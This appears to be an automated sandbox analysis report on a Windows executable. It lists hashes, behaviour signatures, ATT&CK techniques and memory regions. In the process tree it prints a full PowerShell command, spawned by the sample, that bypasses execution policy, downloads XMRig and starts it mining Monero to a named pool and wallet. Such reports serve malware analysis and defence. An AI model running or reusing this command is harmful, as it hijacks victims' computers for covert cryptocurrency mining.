7bd1f50b832af076880678fb70cada1061c911992aa7339b5693a0c194e3b5e5

Analysis

max time kernel
898s
max time network
445s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260126-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260126-enlocale:en-usos:windows10-ltsc_2021-x64system
submitted
02/05/2026, 04:28

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General

Target
wtf - Copy (5).exe
Size 235KB
Sample260502-e367yacz5m
SHA256 7bd1f50b832af076880678fb70cada1061c911992aa7339b5693a0c194e3b5e5
MD5 1e15ea75a1f635a6aca9d987764a13e9
SHA1 c1ff6fbc8106bdc9714a7ec5ce85a422a369ca29
SHA512 b2a798a8d68e8096a61f73bc04e95a4b6e42e9e4a5153d16feaefd726558caa98749c52d76146e261cbf01d4cc1e9e70c020f7bc9ad20943c29cb9b5983c6d1a
SSDEEP 3072:DbeVX+RLL4ypDYsPGLwLvVWRMiW95BQ2Of5QUNtWhoev:eQRLLbpYS95BQ2QQUNtWPv
TLSH
T16034F83BA7635CBCC29781B5A686CBF1B832FC150320BD5F0695C7327E6AC544F99898
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	5528	powershell.exe
8	5528	powershell.exe
11	5528	powershell.exe
15	5528	powershell.exe
26	5528	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5528	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4214655515-2537246629-1547560666-1000\Control Panel\International\Geo\Nation	wtf - Copy (5).exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5528	powershell.exe
5528	powershell.exe
5528	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5528	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 4332 wrote to memory of 5528	4332	wtf - Copy (5).exe	81

C:\Users\Admin\AppData\Local\Temp\wtf - Copy (5).exe
"C:\Users\Admin\AppData\Local\Temp\wtf - Copy (5).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -NoExit -Command "$ErrorActionPreference = 'Stop'; $d = Join-Path $env:TEMP 'x'; if (!(Test-Path $d)) { New-Item -ItemType Directory -Path $d -Force }; Stop-Process -Name 'xmrig' -ErrorAction SilentlyContinue; Write-Host '1. Dang kiem tra file...' -ForegroundColor Cyan; $zipPath = Join-Path $d 'x.zip'; if (!(Test-Path $zipPath)) { Write-Host '2. Dang tai file (co the mat 1-2 phut)...' -ForegroundColor Yellow; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip' -OutFile $zipPath; } Write-Host '3. Dang giai nen...' -ForegroundColor Yellow; Expand-Archive -Path $zipPath -DestinationPath $d -Force; $exe = Get-ChildItem -Path $d -Recurse -Filter 'xmrig.exe' | Select-Object -First 1; if ($exe) { Write-Host '4. Khoi chay dao...' -ForegroundColor Green; Start-Process $exe.FullName -ArgumentList '-o pool.hashvault.pro:443 -u 44VTHpmFucsULkgscKcU9zf3R73t4YamM3cW9gf7V51GN3TMJQzGxkNYCd9myzDtxqDyTwyegnYgzjjY6fi5HLC81JRYaZr -p bens -k --tls --cpu-max-threads-hint 100 --donate-level 1' -WorkingDirectory $exe.DirectoryName; } else { Write-Host 'Khong tim thay xmrig.exe' }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_ysodakfi.k54.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ysodakfi.k54.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4332-0-0x00007FF6F98C0000-0x00007FF6F9902000-memory.dmp

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memory/5528-4-0x000001DFE4C50000-0x000001DFE4C60000-memory.dmp

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memory/5528-3-0x000001DFE4C50000-0x000001DFE4C60000-memory.dmp

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memory/5528-5-0x000001DFCC4C0000-0x000001DFCC4E2000-memory.dmp

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memory/5528-13-0x000001DFE4FF0000-0x000001DFE5034000-memory.dmp

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memory/5528-14-0x000001DFE4C50000-0x000001DFE4C60000-memory.dmp

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memory/5528-15-0x000001DFE4C50000-0x000001DFE4C60000-memory.dmp

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memory/5528-17-0x000001DFCC410000-0x000001DFCC41C000-memory.dmp

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memory/5528-18-0x000001DFE4C50000-0x000001DFE4C60000-memory.dmp

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memory/5528-16-0x000001DFCA9B0000-0x000001DFCAB4F000-memory.dmp

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memory/5528-35-0x000001DFE50C0000-0x000001DFE5136000-memory.dmp

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